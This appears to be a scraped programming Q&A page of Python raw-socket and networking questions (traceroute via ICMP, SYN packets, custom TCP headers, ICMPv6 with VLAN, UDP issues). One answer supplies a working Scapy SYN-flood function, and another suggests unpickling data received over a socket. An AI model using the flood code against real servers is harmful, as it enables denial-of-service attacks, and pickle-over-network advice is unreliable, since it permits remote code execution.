Python raw socket not receiving ICMP packets - python

I'm trying to use raw sockets in Python to send UDP packets to a host and then get the ICMP response back for the packet -- basically reimplementing traceroute.
I've managed to correctly construct my IP and UDP headers and send the packet. I can see it in Wireshark. I also see the ICMP response in Wireshark telling me that the TTL exceeded.
I have the following code:
me = gethostbyname(gethostname())
my_socket = socket(AF_INET, SOCK_RAW)
my_socket.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
my_socket.bind((me, 0))
hostname = 'www.google.com'
hostip = gethostbyname(hostname)
packet = create_packet(hostname)
send_socket.sendto(packet, (hostip , 0))
Then after the packet is sent I call another function to listen for incoming packets which includes this snippet:
while True:
ready = select.select([my_socket], [], [], time_left)
if ready[0] == []:
print "timeout"
time_now = time.time()
rec_packet, addr = my_socket.recvfrom(5120)
unpacked_ip = unpack('!BBHHHBBH4s4s', rec_packet[0:20]) #0-20 is IP header
prot = unpacked_ip[6] #gives the protocol id
if prot == 1:
#this is ICMP , let's do things
I'm able to successfully unpack the IP header and check the protocol, but it is always either 6 or 17 (TCP or UDP). I never get the IP packet containing the ICMP payload even though it appears in Wireshark.
I've tried comparing the ICMP packet in Wireshark to other packets in Wireshark that my program does see and the IP headers are pretty much identical. I don't know what is wrong.
Thanks for the help

Judging from this answer, it looks like you need to pass the IPPROTO_ICMP option in when you create your socket.
You can do this like:
my_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)

Related

socket.connect blocks forever. How to just send the SYN packet with a LENGHT without waiting for response?

I have this simple code:
import socket
ip = "myip"
port = myport
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print("SYN packet sent.")
If I run it, it never reach the print so it never complete the connect, and that's because the IP I want to connect to has not that port open.
In fact I don't want to complete the connection, but just need to send the SYN request.
Also, I would need to send packets with a LENGHT. If I test with hping3 and sniff the syn packets sent, I see that there is a payload of 100 lenght. How can I "add" this payload to the packet?
How can I do that?
From what I can gather, what you're after is a TCP SYN flood and is probably best achieved using the Scapy Library. This could be achieved with code similar to the below:
from scapy.all import *
def flood(src_ip, dst_ip, dst_port, amount):
ip = IP(src=src_ip, dst=dst_ip)
for i in range(0, amount):
src_port = random.randint(20, 65000)
transport = TCP(sport=src_port, dport=dst_port, flags="S")
send(ip/transport)
if __name__ == '__main__':
flood('x.x.x.x', 'x.x.x.x', '443', '1000')
As mentioned above, its important to note that you CANNOT send data within a SYN packet.
If you do not care to wait for a response you could, for example, use socket.settimeout.
Here is an example setting a 5 seconds timeout:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
except socket.timeout:
pass
An other solution, albeit more difficult, would be to send the packet manually using raw sockets.
You can verify that your packets are indeed being sent by using a tool such as tcpdump:
$ tcpdump 'tcp port 5005'

Python TCP sockets headers

I need to create a communication between a client and a server with TCP. But I'd like to send and work with "headers". So from the client I'd like to send a header "COMMAND1" and the server returns me something.
I have the following code:
Server
import socket
import threading
bind_ip = '0.0.0.0'
bind_port = 9998
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5) # max backlog of connections
print ('Listening on {}:{}'.format(bind_ip, bind_port))
def handle_client_connection(client_socket):
request = client_socket.recv(1024)
print ('Received {}'.format(request))
client_socket.send('Response1!'.encode('utf-8'))
client_socket.close()
while True:
client_sock, address = server.accept()
print ('Accepted connection from {}:{}'.format(address[0], address[1]))
client_handler = threading.Thread(
target=handle_client_connection,
args=(client_sock,) # without comma you'd get a... TypeError: handle_client_connection() argument after * must be a sequence, not _socketobject
)
client_handler.start()
Client
import socket
hostname, sld, tld, port = 'www', 'integralist', 'co.uk', 80
target = '{}.{}.{}'.format(hostname, sld, tld)
# create an ipv4 (AF_INET) socket object using the tcp protocol (SOCK_STREAM)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect the client
# client.connect((target, port))
client.connect(('0.0.0.0', 9998))
# send some data (in this case a HTTP GET request)
client.send('hi'.encode('utf-8'))
# receive the response data (4096 is recommended buffer size)
response = client.recv(4096)
print (response)
Anyone knows the best way to return "Response1!" when the header is "COMMAND1" and "Response2!" when the header is "COMMAND2"?
I can't find examples on how to use headers
EDIT: It doesn't have to be "COMMAND1" or "COMMAND2" it can be a "0" or "1", or anything else.
If you want to add your own header, you just have to:
Make sure your programm finds the start of your message (like, every message beginns "!?&")
Send your own header-data just after the start-symbol of your message.
Maybe mark the end of your message with something or pass a length in your header.
Since TCP will give you a stream of data, it might come to a case, where it just gives you 2 or 3 messages at once. You have to separate these messages by yourself (e.g. by using "?!&" as start of every message).
You can always create your own protocoll as payload of another protocoll. Just as TCP is just payload from the ethernet point of view.
You can do something i have done with my program to accept such headers
Use pickle library to encode a dict headers and send it through socket.
Code will look something like this.
import pickle
def handleSocket(headers:dict):
message = pickle.dumps(headers)
socket.send(message)
For server side, you will be handling it
Gonna initialise the socket recv to 100 kb
def handleReceivedSocket(socket):
message:dict = pickle.loads(socket.recv(102400))
Another way to do this. Is sending a raw json string to the server (just change pickle.dumps,pickle.loads by json.dumps,json.loads
But it will be in raw and less secure.
Last way you can do it is uri encoding. Check w3schools

Sending a ICMPv6 Packet with VLAN while using Impacket

Hey guys I am quite a bind I have this function
def send_ra_packet(self,source_link_layer, send_frequency,vlan_id = 0):
ip = IP6.IP6()
ip.set_source_address(self.get_source_address())
ip.set_destination_address(self.get_target_address())
ip.set_traffic_class(0)
ip.set_flow_label(0)
ip.set_hop_limit(64)
s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
payload = self.create_ra_message(source_link_layer)
print send_frequency
for i in range(0, send_frequency):
icmp = ICMP6.ICMP6()
icmp.set_byte(0, 134) # Put Type?
icmp.set_byte(1, 00) # Put Code?
payloadObject = ImpactPacket.Data()
payloadObject.set_data(payload)
icmp.contains(payloadObject)
# Have the IP packet contain the ICMP packet (along with its payload).
ip.contains(icmp)
ip.set_next_header(ip.child().get_ip_protocol_number())
ip.set_payload_length(ip.child().get_size())
eth = ImpactPacket.Ethernet()
vlan = ImpactPacket.EthernetTag()
vlan.set_vid(1)
eth.push_tag(vlan)
icmp.calculate_checksum()
eth.contains(ip)
print icmp.get_packet()
# Send it to the target host.
s.sendto(eth.get_packet(), (self.get_target_address(), 0))
print "Success Sending Packet - %d " % (i)
A quick overview of the function will tell you that I am creating a RA Packet and sending it in my network, my problem here is that I can't seem to send an RA Packet with VLAN.
My additional code starting from eth = ImpacketPacket.Ethernet()
will tell you I created a Header that has a VLAN and made it as a parent of ip which has the instance IPV6.
My problem is that when ever I run the code the resulting packet that will be sent is Uknown (0)
which means that it is either corrupted or cannot be understand.
I am quite stuck with this problem for almost a week now and tried numerous ways to send it. I am not sure anymore what is the bug, if ever I send the packet with icmp instead of eth it works fine`

Python sends malformed UDP Packets

I am having trouble receiving UDP packets on an Android device, so I want to find out if I am sending them properly. Using Wireshark, everytime I try to send a UDP packet to a remote address, the following error message occurs:
232646 311.898009000 172.56.16.78 192.168.0.3 UDP 64 Source port: 31947 Destination port: 5001 [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
Frame check sequence: 0xf5b6d06d [incorrect, should be 0xb0c869e3]
Does anyone know how to fix this? Would this be the cause of why I could not receive UDP packets on my Android device?
Server Code:
import http.server
import socket
import threading
import socketserver
class ThreadedUDPRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
data = self.request[0].strip().decode("utf-8")
print("{} Recieved: ".format(self.client_address) + data)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
response = data.upper()
sock.sendto(bytes(response, "utf-8"), self.client_address)
print("{} Sent: {}".format(self.client_address,response))
if __name__ == "__main__":
udpserver = ThreadedUDPServer((HOST,PORT+1), ThreadedUDPRequestHandler)
udp_thread = threading.Thread(target=udpserver.serve_forever)
udp_thread.daemon = True
udp_thread.start()
print("UDP serving at port", PORT+1)
while True:
pass
udpserver.shutdown()
It seems like you're sending packets using regular userspace sockets. In that case, there's very little chance that the packets are being sent malformed since the FCS is generated physically by the network interface card.
What you're probably seeing is an FCS error due to completely different reasons, which can be safely disregarded.
I'd look for other reasons for why the other device doesn't receive the packet, like firewalls or NAT. Start by using netcat or a similar tool for sending and receiving the UDP packets between the two machines.

python icmp raw socket implementation

i am relatively new to python, so please be considerate...
i'm implementing a server and a client via raw_sockets.
i have the necessary privileges.
now, the server i defined so:
host = socket.gethostbyname(socket.gethostname())
address = (host, 22224)
sockSer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
sockSer.bind(address)
sockSer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
packet, addr = sockSer .recvfrom(4096) # wait for packet from client
Q1) why can't i simply type: hosts = 'localhost'.
if i do so, it doesn't allow me to write the line: sockSer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON). and then the server doesn't receive my client's messages.
only when doing gethostbyname(socket.gethostname()) i get 192.168.1.101
and then it works.
in a different class:
the client socket:
host = socket.gethostbyname(socket.gethostname())
address = (host, 22224)
sockCli = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
Q2) do i also need to type: sockCli.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
or maybe sockCli.connect(address)? seems that it works without the connect command.
for the client socket?
now, the problems arise when i do the following:
1) send a packet from client to server:
header=...
payload='a'
sockCli.sendto(header + payload, address)
2) receive packet in server and send something back to client:
while(true):
data, addr = sockSer.recvfrom(4096)
header2=...
payload2='b'
sockSer.sendto(header2 + payload2, addr)
now, my important question is:
Q3) the server sent only 1 packet to client, with payload 'b'.
what happens is, my client actually receives 2 packets in the while loop:
first packet is what the client itself sent to server, and the other packet is what the client got from the server.
hence my output is 'ab' instead of simply 'b'
why is this happening???
NOTE: i didn't type the entire code, but i think my syntax,parsing,header composition etc.. are correct.
is there an obvious problem in my code?
if necessary i'll upload the entire code.
thanks
I got this too.
my solution is add a judge in the receive code,such as if I send Ping package so I only want ECHO Reply( type 0 code 0), I write
if type != 0:
continue
and you also can write as
if addr == my_ip:
continue
It seems not has any smooth solution
Q1: I was able to bind to localhost and call IOCTL with both parameters just fine. Assuming your client is also running on the same system, ensure the client is sending to "localhost", otherwise your server will never receive the packets. If your client is on another system, obviously your server will never receive the packets.
Q2: You do not need IOCTL for sending the packet. Just send it via sendto().
Q3: The reason you're seeing two replies is, the kernel is also processing the echo request, in addition to your own user-space code.
Although you can use ICMP for arbitrary message passing, as someone else pointed out this isn't its intended design. You may find that your data portion is truncated out in message replies. For example, when sending echo requests, your reply likely will contain everything you sent; however, a reply that is type 3 code 3 may not include your data, but only the first 8 bytes of the ICMP header.

Categories

Resources